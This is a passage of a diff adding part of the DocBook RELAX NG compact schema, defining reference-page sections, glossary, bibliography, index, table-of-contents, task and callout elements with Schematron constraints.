db.refmiscinfo.attlist, db._text } +} +div { + db.refnamediv.role.attribute = attribute role { text } + db.refnamediv.attlist = + db.refnamediv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refnamediv = + + ## The name, purpose, and classification of a reference page + element refnamediv { + db.refnamediv.attlist, + db.refdescriptor?, + db.refname+, + db.refpurpose, + db.refclass* + } +} +div { + db.refdescriptor.role.attribute = attribute role { text } + db.refdescriptor.attlist = + db.refdescriptor.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refdescriptor = + + ## A description of the topic of a reference page + element refdescriptor { db.refdescriptor.attlist, db.all.inlines* } +} +div { + db.refname.role.attribute = attribute role { text } + db.refname.attlist = + db.refname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refname = + + ## The name of (one of) the subject(s) of a reference page + element refname { db.refname.attlist, db.all.inlines* } +} +div { + db.refpurpose.role.attribute = attribute role { text } + db.refpurpose.attlist = + db.refpurpose.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refpurpose = + + ## A short (one sentence) synopsis of the topic of a reference page + element refpurpose { db.refpurpose.attlist, db.all.inlines* } +} +div { + db.refclass.role.attribute = attribute role { text } + db.refclass.attlist = + db.refclass.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refclass = + + ## The scope or other indication of applicability of a reference entry + element refclass { db.refclass.attlist, (text | db.application)* } +} +div { + db.refsynopsisdiv.role.attribute = attribute role { text } + db.refsynopsisdiv.attlist = + db.refsynopsisdiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refsynopsisdiv.info = db._info + db.refsynopsisdiv = + + ## A syntactic synopsis of the subject of the reference page + element refsynopsisdiv { + db.refsynopsisdiv.attlist, + db.refsynopsisdiv.info, + ((db.all.blocks+, db.secondlevel.refsection?) + | db.secondlevel.refsection) + } +} +div { + db.refsection.role.attribute = attribute role { text } + db.refsection.attlist = + db.refsection.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.status.attribute? + & db.label.attribute? + db.refsection.info = db._info.title.req + db.refsection = + + ## A recursive section in a refentry + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refsection" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refsection { + db.refsection.attlist, + db.refsection.info, + ((db.all.blocks+, db.refsection*) | db.refsection+) + } +} +db.refsect1.sections = db.refsect2+ +div { + db.refsect1.status.attribute = db.status.attribute + db.refsect1.role.attribute = attribute role { text } + db.refsect1.attlist = + db.refsect1.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.refsect1.status.attribute? + db.refsect1.info = db._info.title.req + db.refsect1 = + + ## A major subsection of a reference entry + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refsect1" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refsect1 { + db.refsect1.attlist, + db.refsect1.info, + ((db.all.blocks+, db.refsect1.sections?) | db.refsect1.sections) + } +} +db.refsect2.sections = db.refsect3+ +div { + db.refsect2.status.attribute = db.status.attribute + db.refsect2.role.attribute = attribute role { text } + db.refsect2.attlist = + db.refsect2.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.refsect2.status.attribute? + db.refsect2.info = db._info.title.req + db.refsect2 = + + ## A subsection of a refsect1 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refsect2" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refsect2 { + db.refsect2.attlist, + db.refsect2.info, + ((db.all.blocks+, db.refsect2.sections?) | db.refsect2.sections) + } +} +div { + db.refsect3.status.attribute = db.status.attribute + db.refsect3.role.attribute = attribute role { text } + db.refsect3.attlist = + db.refsect3.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.refsect3.status.attribute? + db.refsect3.info = db._info.title.req + db.refsect3 = + + ## A subsection of a refsect2 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refsect3" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refsect3 { + db.refsect3.attlist, db.refsect3.info, db.all.blocks+ + } +} +db.glossary.inlines = db.firstterm | db.glossterm +db.baseform.attribute = + + ## Specifies the base form of the term, the one that appears in the glossary. This allows adjectival, plural, and other variations of the term to appear in the element. The element content is the default base form. + attribute baseform { text }? +div { + db.glosslist.role.attribute = attribute role { text } + db.glosslist.attlist = + db.glosslist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.glosslist.info = db._info.title.only + db.glosslist = + + ## A wrapper for a list of glossary entries + element glosslist { + db.glosslist.attlist, + db.glosslist.info?, + db.all.blocks*, + db.glossentry+ + } +} +div { + db.glossentry.role.attribute = attribute role { text } + db.glossentry.sortas.attribute = + + ## Specifies the string by which the element's content is to be sorted; if unspecified, the content is used + attribute sortas { text } + db.glossentry.attlist = + db.glossentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.glossentry.sortas.attribute? + db.glossentry = + + ## An entry in a Glossary or GlossList + element glossentry { + db.glossentry.attlist, + db.glossterm, + db.acronym?, + db.abbrev?, + db.indexterm*, + (db.glosssee | db.glossdef+) + } +} +div { + db.glossdef.role.attribute = attribute role { text } + db.glossdef.subject.attribute = + + ## Specifies a list of keywords for the definition + attribute subject { text } + db.glossdef.attlist = + db.glossdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.glossdef.subject.attribute? + db.glossdef = + + ## A definition in a GlossEntry + element glossdef { + db.glossdef.attlist, db.all.blocks+, db.glossseealso* + } +} +div { + db.glosssee.role.attribute = attribute role { text } + db.glosssee.otherterm.attribute = + + ## Identifies the other term + attribute otherterm { xsd:IDREF } + db.glosssee.attlist = + db.glosssee.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.glosssee.otherterm.attribute? + db.glosssee = + + ## A cross-reference from one glossentry + ## to another + [ + s:pattern [ + name = "Glosssary 'see' type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:glosssee[@otherterm]" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@otherterm]) = 'glossentry' and namespace-uri(//*[@id=current()/@otherterm]) = 'http://docbook.org/ns/docbook'" + "@otherterm on glosssee must point to a glossentry." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element glosssee { db.glosssee.attlist, db.all.inlines* } +} +div { + db.glossseealso.role.attribute = attribute role { text } + db.glossseealso.otherterm.attribute = + + ## Identifies the other term + attribute otherterm { xsd:IDREF } + db.glossseealso.attlist = + db.glossseealso.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.glossseealso.otherterm.attribute? + db.glossseealso = + + ## A cross-reference from one GlossEntry to another + [ + s:pattern [ + name = "Glossary 'seealso' type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:glossseealso[@otherterm]" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@otherterm]) = 'glossentry' and namespace-uri(//*[@id=current()/@otherterm]) = 'http://docbook.org/ns/docbook'" + "@otherterm on glossseealso must point to a glossentry." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element glossseealso { db.glossseealso.attlist, db.all.inlines* } +} +div { + db.firstterm.role.attribute = attribute role { text } + db.firstterm.attlist = + db.firstterm.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.baseform.attribute + db.firstterm = + + ## The first occurrence of a term + [ + s:pattern [ + name = "Glossary 'firstterm' type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:firstterm[@linkend]" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@linkend]) = 'glossentry' and namespace-uri(//*[@id=current()/@linkend]) = 'http://docbook.org/ns/docbook'" + "@linkend on firstterm must point to a glossentry." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element firstterm { db.firstterm.attlist, db.all.inlines* } +} +div { + db.glossterm.role.attribute = attribute role { text } + db.glossterm.attlist = + db.glossterm.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.baseform.attribute + db.glossterm = + + ## A glossary term + [ + s:pattern [ + name = "Glossary 'glossterm' type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:glossterm[@linkend]" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@linkend]) = 'glossentry' and namespace-uri(//*[@id=current()/@linkend]) = 'http://docbook.org/ns/docbook'" + "@linkend on glossterm must point to a glossentry." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element glossterm { db.glossterm.attlist, db.all.inlines* } +} +div { + db.glossary.status.attribute = db.status.attribute + db.glossary.role.attribute = attribute role { text } + db.glossary.attlist = + db.glossary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.glossary.status.attribute? + db.glossary.info = db._info + db.glossary = + + ## A glossary + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:glossary" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element glossary { + db.glossary.attlist, + db.glossary.info, + db.all.blocks*, + (db.glossdiv+ | db.glossentry+), + db.bibliography? + } +} +div { + db.glossdiv.status.attribute = db.status.attribute + db.glossdiv.role.attribute = attribute role { text } + db.glossdiv.attlist = + db.glossdiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.glossdiv.status.attribute? + db.glossdiv.info = db._info.title.req + db.glossdiv = + + ## A division in a Glossary + element glossdiv { + db.glossdiv.attlist, + db.glossdiv.info, + db.all.blocks*, + db.glossentry+ + } +} +div { + db.termdef.role.attribute = attribute role { text } + db.termdef.attlist = + db.termdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.baseform.attribute + db.termdef = + + ## An inline definition of a term + [ + s:pattern [ + name = "Glossary term definition constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:termdef" + "\x{a}" ~ + " " + s:assert [ + test = "count(db:glossterm) != 1" + "A termdef must contain a glossterm" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element termdef { db.termdef.attlist, db.all.inlines* } +} +db.relation.attribute = + + ## Identifies the relationship between the bibliographic elemnts + attribute relation { text } +div { + db.biblioentry.role.attribute = attribute role { text } + db.biblioentry.attlist = + db.biblioentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.biblioentry = + + ## An entry in a Bibliography + element biblioentry { + db.biblioentry.attlist, db.bibliographic.elements+ + } +} +div { + db.bibliomixed.role.attribute = attribute role { text } + db.bibliomixed.attlist = + db.bibliomixed.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.bibliomixed = + + ## An entry in a Bibliography + element bibliomixed { + db.bibliomixed.attlist, (text | db.bibliographic.elements)* + } +} +div { + db.biblioset.relation.attribute = db.relation.attribute + db.biblioset.role.attribute = attribute role { text } + db.biblioset.attlist = + db.biblioset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblioset.relation.attribute? + db.biblioset = + + ## A raw container for related bibliographic information + element biblioset { + db.biblioset.attlist, db.bibliographic.elements+ + } +} +div { + db.bibliomset.relation.attribute = db.relation.attribute + db.bibliomset.role.attribute = attribute role { text } + db.bibliomset.attlist = + db.bibliomset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.bibliomset.relation.attribute? + db.bibliomset = + + ## A cooked container for related bibliographic information + element bibliomset { + db.bibliomset.attlist, (db._text | db.bibliographic.elements)* + } +} +div { + db.bibliomisc.role.attribute = attribute role { text } + db.bibliomisc.attlist = + db.bibliomisc.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.bibliomisc = + + ## Untyped bibliographic information + element bibliomisc { db.bibliomisc.attlist, db._text } +} +div { + db.bibliography.status.attrib = db.status.attribute + db.bibliography.role.attribute = attribute role { text } + db.bibliography.attlist = + db.bibliography.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.bibliography.status.attrib? + db.bibliography.info = db._info + db.bibliography = + + ## A bibliography + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:bibliography" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element bibliography { + db.bibliography.attlist, + db.bibliography.info, + db.all.blocks*, + (db.bibliodiv+ | (db.biblioentry | db.bibliomixed)+) + } +} +div { + db.bibliodiv.status.attrib = db.status.attribute + db.bibliodiv.role.attribute = attribute role { text } + db.bibliodiv.attlist = + db.bibliodiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.bibliodiv.status.attrib? + db.bibliodiv.info = db._info.title.req + db.bibliodiv = + + ## A section of a Bibliography + element bibliodiv { + db.bibliodiv.attlist, + db.bibliodiv.info, + db.all.blocks*, + (db.biblioentry | db.bibliomixed)+ + } +} +div { + db.bibliolist.role.attribute = attribute role { text } + db.bibliolist.attlist = + db.bibliolist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.bibliolist.info = db._info.title.only + db.bibliolist = + + ## A wrapper for a list of bibliography entries + element bibliolist { + db.bibliolist.attlist, + db.bibliolist.info?, + db.all.blocks*, + (db.biblioentry | db.bibliomixed)+ + } +} +div { + db.biblioref.role.attribute = attribute role { text } + db.biblioref.xrefstyle.attribute = db.xrefstyle.attribute + db.biblioref.endterm.attribute = db.endterm.attribute + db.biblioref.units.attribute = + + ## The units (for example, pages) used to identify the beginning and ending of a reference. + attribute units { xsd:token } + db.biblioref.begin.attribute = + + ## Identifies the beginning of a reference; the location within the work that is being referenced. + attribute begin { xsd:token } + db.biblioref.end.attribute = + + ## Identifies the end of a reference. + attribute end { xsd:token } + db.biblioref.attlist = + db.biblioref.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + & db.biblioref.xrefstyle.attribute? + & db.biblioref.endterm.attribute? + & db.biblioref.units.attribute? + & db.biblioref.begin.attribute? + & db.biblioref.end.attribute? + db.biblioref = + + ## A cross-reference to a bibliographic entry + element biblioref { db.biblioref.attlist, empty } +} +db.significance.enumeration = + + ## Normal + "normal" + | + ## Preferred + "preferred" +db.significance.attribute = + + ## Specifies the significance of the term + attribute significance { db.significance.enumeration } +db.zone.attribute = + + ## Specifies the IDs of the elements to which this term applies + attribute zone { xsd:IDREFS } +db.indexterm.pagenum.attribute = + + ## Indicates the page on which this index term occurs in some version of the printed document + attribute pagenum { text } +db.scope.enumeration = + + ## All indexes + "all" + | + ## The global index (as for a combined index of a set of box) + "global" + | + ## The local index (the index for this document only) + "local" +db.scope.attribute = + + ## Specifies the scope of the index term + attribute scope { db.scope.enumeration } +db.sortas.attribute = + + ## Specifies the string by which the term is to be sorted; if unspecified, the term content is used + attribute sortas { text } +db.index.type.attribute = + + ## Specifies the target index for this term + attribute type { text } +div { + db.itermset.role.attribute = attribute role { text } + db.itermset.attlist = + db.itermset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.itermset = + + ## A set of index terms in the meta-information of a document + element itermset { db.itermset.attlist, db.indexterm.singular+ } +} +db.indexterm.contentmodel = + db.primary?, + ((db.secondary, + ((db.tertiary, (db.see | db.seealso+)?) + | db.see + | db.seealso+)?) + | db.see + | db.seealso+)? +div { + db.indexterm.singular.role.attribute = attribute role { text } + db.indexterm.singular.class.attribute = + + ## Identifies the class of index term + attribute class { + + ## A singular index term + "singular" + } + db.indexterm.singular.attlist = + db.indexterm.singular.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.significance.attribute? + & db.zone.attribute? + & db.indexterm.pagenum.attribute? + & db.scope.attribute? + & db.index.type.attribute? + & db.indexterm.singular.class.attribute? + db.indexterm.singular = + + ## A wrapper for an indexed term + element indexterm { + db.indexterm.singular.attlist, db.indexterm.contentmodel + } +} +div { + db.indexterm.startofrange.role.attribute = attribute role { text } + db.indexterm.startofrange.class.attribute = + + ## Identifies the class of index term + attribute class { + + ## The start of a range + "startofrange" + } + db.indexterm.startofrange.attlist = + db.indexterm.startofrange.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.significance.attribute? + & db.zone.attribute? + & db.indexterm.pagenum.attribute? + & db.scope.attribute? + & db.index.type.attribute? + & db.indexterm.startofrange.class.attribute + db.indexterm.startofrange = + + ## A wrapper for an indexed term that covers a range + element indexterm { + db.indexterm.startofrange.attlist, db.indexterm.contentmodel + } +} +div { + db.indexterm.endofrange.role.attribute = attribute role { text } + db.indexterm.endofrange.class.attribute = + + ## Identifies the class of index term + attribute class { + + ## The end of a range + "endofrange" + } + db.indexterm.endofrange.startref.attribute = + + ## Points to the start of the range + attribute startref { xsd:IDREF } + db.indexterm.endofrange.attlist = + db.indexterm.endofrange.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.indexterm.endofrange.class.attribute + & db.indexterm.endofrange.startref.attribute + db.indexterm.endofrange = + + ## Identifies the end of a range associated with an indexed term + element indexterm { db.indexterm.endofrange.attlist, empty } +} +div { + db.indexterm = + db.indexterm.singular + | db.indexterm.startofrange + | db.indexterm.endofrange +} +div { + db.primary.role.attribute = attribute role { text } + db.primary.attlist = + db.primary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.sortas.attribute? + db.primary = + + ## The primary word or phrase under which an index term should be sorted + element primary { db.primary.attlist, db.all.inlines* } +} +div { + db.secondary.role.attribute = attribute role { text } + db.secondary.attlist = + db.secondary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.sortas.attribute? + db.secondary = + + ## A secondary word or phrase in an index term + element secondary { db.secondary.attlist, db.all.inlines* } +} +div { + db.tertiary.role.attribute = attribute role { text } + db.tertiary.attlist = + db.tertiary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.sortas.attribute? + db.tertiary = + + ## A tertiary word or phrase in an index term + element tertiary { db.tertiary.attlist, db.all.inlines* } +} +div { + db.see.role.attribute = attribute role { text } + db.see.attlist = + db.see.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.see = + + ## Part of an index term directing the reader instead to another entry in the index + element see { db.see.attlist, db.all.inlines* } +} +div { + db.seealso.role.attribute = attribute role { text } + db.seealso.attlist = + db.seealso.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.seealso = + + ## Part of an index term directing the reader also to another entry in the index + element seealso { db.seealso.attlist, db.all.inlines* } +} +div { + db.index.status.attribute = db.status.attribute + db.index.role.attribute = attribute role { text } + db.index.attlist = + db.index.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.index.status.attribute? + & db.index.type.attribute? + db.index.info = db._info + # + # Yes, db.indexdiv* and db.indexentry*; that way an is valid. + # Authors can use an empty index to indicate where a generated index should + # appear. + db.index = + + ## An index to a book or part of a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:index" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element index { + db.index.attlist, + db.index.info, + db.all.blocks*, + (db.indexdiv* | db.indexentry* | db.segmentedlist) + } +} +div { + db.setindex.status.attribute = db.status.attribute + db.setindex.role.attribute = attribute role { text } + db.setindex.attlist = + db.setindex.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.setindex.status.attribute? + & db.index.type.attribute? + db.setindex.info = db._info + db.setindex = + + ## An index to a set of books + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:setindex" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element setindex { + db.setindex.attlist, + db.setindex.info, + db.all.blocks*, + (db.indexdiv* | db.indexentry*) + } +} +div { + db.indexdiv.status.attribute = db.status.attribute + db.indexdiv.role.attribute = attribute role { text } + db.indexdiv.attlist = + db.indexdiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.indexdiv.status.attribute? + db.indexdiv.info = db._info.title.req + db.indexdiv = + + ## A division in an index + element indexdiv { + db.indexdiv.attlist, + db.indexdiv.info, + db.all.blocks*, + (db.indexentry+ | db.segmentedlist) + } +} +div { + db.indexentry.role.attribute = attribute role { text } + db.indexentry.attlist = + db.indexentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.indexentry = + + ## An entry in an index + element indexentry { + db.indexentry.attlist, + db.primaryie, + (db.seeie | db.seealsoie)*, + (db.secondaryie, (db.seeie | db.seealsoie | db.tertiaryie)*)* + } +} +div { + db.primaryie.role.attribute = attribute role { text } + db.primaryie.attlist = + db.primaryie.role.attribute? + & db.common.attributes + & db.linkends.attribute? + db.primaryie = + + ## A primary term in an index entry, not in the text + element primaryie { db.primaryie.attlist, db.all.inlines* } +} +div { + db.secondaryie.role.attribute = attribute role { text } + db.secondaryie.attlist = + db.secondaryie.role.attribute? + & db.common.attributes + & db.linkends.attribute? + db.secondaryie = + + ## A secondary term in an index entry, rather than in the text + element secondaryie { db.secondaryie.attlist, db.all.inlines* } +} +div { + db.tertiaryie.role.attribute = attribute role { text } + db.tertiaryie.attlist = + db.tertiaryie.role.attribute? + & db.common.attributes + & db.linkends.attribute? + db.tertiaryie = + + ## A tertiary term in an index entry, rather than in the text + element tertiaryie { db.tertiaryie.attlist, db.all.inlines* } +} +div { + db.seeie.role.attribute = attribute role { text } + db.seeie.attlist = + db.seeie.role.attribute? + & db.common.attributes + & db.linkend.attribute? + db.seeie = + + ## A See + ## entry in an index, rather than in the text + element seeie { db.seeie.attlist, db.all.inlines* } +} +div { + db.seealsoie.role.attribute = attribute role { text } + db.seealsoie.attlist = + db.seealsoie.role.attribute? + & db.common.attributes + & db.linkends.attribute? + db.seealsoie = + + ## A See also + ## entry in an index, rather than in the text + element seealsoie { db.seealsoie.attlist, db.all.inlines* } +} +db.toc.pagenum.attribute = + + ## Indicates the page on which this element occurs in some version of the printed document + attribute pagenum { text } +div { + db.toc.role.attribute = attribute role { text } + db.toc.attlist = + db.toc.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.toc.info = db._info.title.only + db.toc = + + ## A table of contents + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:toc" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element toc { + db.toc.attlist, + db.toc.info, + db.all.blocks*, + (db.tocdiv | db.tocentry)* + } +} +div { + db.tocdiv.role.attribute = attribute role { text } + db.tocdiv.pagenum.attribute = db.toc.pagenum.attribute + db.tocdiv.attlist = + db.tocdiv.role.attribute? + & db.common.attributes + & db.tocdiv.pagenum.attribute? + & db.linkend.attribute? + db.tocdiv.info = db._info + db.tocdiv = + + ## A division in a table of contents + element tocdiv { + db.tocdiv.attlist, + db.tocdiv.info, + db.all.blocks*, + (db.tocdiv | db.tocentry)+ + } +} +div { + db.tocentry.role.attribute = attribute role { text } + db.tocentry.pagenum.attribute = db.toc.pagenum.attribute + db.tocentry.attlist = + db.tocentry.role.attribute? + & db.common.attributes + & db.tocentry.pagenum.attribute? + & db.linkend.attribute? + db.tocentry = + + ## A component title in a table of contents + element tocentry { db.tocentry.attlist, db.all.inlines* } +} +db.task.info = db._info.title.only +div { + db.task.role.attribute = attribute role { text } + db.task.attlist = + db.task.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.task = + + ## A task to be completed + element task { + db.task.attlist, + db.task.info, + db.tasksummary?, + db.taskprerequisites?, + db.procedure, + db.example*, + db.taskrelated? + } +} +div { + db.tasksummary.role.attribute = attribute role { text } + db.tasksummary.attlist = + db.tasksummary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.tasksummary.info = db._info.title.only + db.tasksummary = + + ## A summary of a task + element tasksummary { + db.tasksummary.attlist, db.tasksummary.info, db.all.blocks+ + } +} +div { + db.taskprerequisites.role.attribute = attribute role { text } + db.taskprerequisites.attlist = + db.taskprerequisites.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.taskprerequisites.info = db._info.title.only + db.taskprerequisites = + + ## The prerequisites for a task + element taskprerequisites { + db.taskprerequisites.attlist, + db.taskprerequisites.info, + db.all.blocks+ + } +} +div { + db.taskrelated.role.attribute = attribute role { text } + db.taskrelated.attlist = + db.taskrelated.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.taskrelated.info = db._info.title.only + db.taskrelated = + + ## Information related to a task + element taskrelated { + db.taskrelated.attlist, db.taskrelated.info, db.all.blocks+ + } +} +db.area.units.enumeration = + + ## Coordinates expressed as a pair of CALS graphic coordinates. + "calspair" + | + ## Coordinates expressed as a line and column. + "linecolumn" + | + ## Coordinates expressed as a pair of lines and columns. + "linecolumnpair" + | + ## Coordinates expressed as a line range. + "linerange" +db.area.units-enum.attribute = + + ## Identifies the units used in the coords attribute The default units vary according to the type of callout specified: calspair + ## for graphics and linecolumn + ## for line-oriented elements. + attribute units { db.area.units.enumeration }? +db.area.units-other.attributes = + + ## Indicates that non-standard units are used for this area + ## . In this case otherunits + ## must be specified. + attribute units { + + ## Coordinates expressed in some non-standard units. + "other" + }?, + + ## Identifies the units used in the coords + ## attribute when the units + ## attribute is other + ## . This attribute is forbidden otherwise. + attribute otherunits { xsd:NMTOKEN } +db.area.units.attribute = + db.area.units-enum.attribute | db.area.units-other.attributes +div { + db.calloutlist.role.attribute = attribute role { text } + db.calloutlist.attlist = + db.calloutlist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.calloutlist.info = db._info.title.only + db.calloutlist = + + ## A list of callout + ## s + element calloutlist { + db.calloutlist.attlist, + db.calloutlist.info, + db.all.blocks*, + db.callout+ + } +} +div { + db.callout.role.attribute = attribute role { text } + db.callout.arearefs.attribute = + + ## Identifies the areas described by this callout. + attribute arearefs { xsd:IDREFS } + db.callout.attlist = + db.callout.role.attribute? + & db.common.attributes + & db.callout.arearefs.attribute + db.callout = + + ## A called out + ## description of a marked Area + element callout { db.callout.attlist, db.all.blocks+ } +} +div { + db.programlistingco.role.attribute = attribute role { text } + db.programlistingco.attlist = + db.programlistingco.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.programlistingco.info = db._info.title.forbidden + db.programlistingco = + + ## A program listing with associated areas used in callouts + element programlistingco { + db.programlistingco.attlist, + db.programlistingco.info, + db.areaspec, + db.programlisting, + db.calloutlist* + } +} +div { + db.areaspec.role.attribute = attribute role { text } + db.areaspec.attlist = + db.areaspec.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.area.units.attribute + db.areaspec = + + ## A collection of regions in a graphic or code example + element areaspec { db.areaspec.attlist, (db.area | db.areaset)+ } +} +div { + db.area.role.attribute = attribute role { text } + db.area.linkends.attribute = + + ## Point to the callout + ## s which refer to this area. (This provides bidirectional linking which may be useful in online presentation.) + attribute linkends { xsd:IDREFS } + db.area.label.attribute = + + ## Specifies an identifying number or string that may be used in presentation. The area label might be drawn on top of the figure, for example, at the position indicated by the coords attribute. + attribute label { text } + db.area.coords.attribute = + + ## Provides the coordinates of the area. The coordinates must be interpreted using the units + ## specified. + attribute coords { text } + db.area.attlist = + db.area.role.attribute? + & db.common.idreq.attributes + & db.area.units.attribute + & (db.area.linkends.attribute | db.href.attribute)? + & db.area.label.attribute? + & db.area.coords.attribute + db.area = + + ## A region defined for a Callout in a graphic or code example + element area { db.area.attlist, db.alt? } +} +div { + # The only difference is that xml:id is optional + db.area.inareaset.attlist = + db.area.role.attribute? + & db.common.attributes + & db.area.units.attribute + & (db.area.linkends.attribute | db.href.attribute)? + & db.area.label.attribute? + & db.area.coords.attribute + db.area.inareaset = + + ## A region defined for a Callout in a graphic or code example + element area { db.area.inareaset.attlist, db.alt? } +} +div { + db.areaset.role.attribute = attribute role { text } + db.areaset.linkends.attribute = db.linkends.attribute + db.areaset.label.attribute = db.label.attribute + db.areaset.attlist = + db.areaset.role.attribute? + & db.common.idreq.attributes + & db.area.units.attribute + & (db.areaset.linkends.attribute | db.href.attribute)? + & db.areaset.label.attribute? + db.areaset = + + ## A set of related areas in a graphic or code example + element areaset { db.areaset.attlist, db.area.inareaset+ } +} +div { + db.screenco.role.attribute = attribute role { text } + db.screenco.attlist = + db.screenco.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.screenco.info = db._info.title.forbidden + db.screenco = + + ## A screen with associated areas used in callouts + element screenco { + db.screenco.attlist, + db.screenco.info, + db.areaspec, + db.screen, + db.calloutlist* + } +} +div { + db.imageobjectco.role.attribute = attribute role { text } + db.imageobjectco.attlist = + db.imageobjectco.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.imageobjectco.info = db._info.title.forbidden + db.imageobjectco = + + ## A wrapper for an image object with callouts + element imageobjectco { + db.imageobjectco.attlist, + db.imageobjectco.info, + db.areaspec, + db.imageobject+, + db.calloutlist* + } +} +div { + db.co.role.attribute = attribute role { text } + db.co.linkends.attribute = db.linkends.attribute + db.co.label.attribute = db.label.attribute + db.co.attlist = + 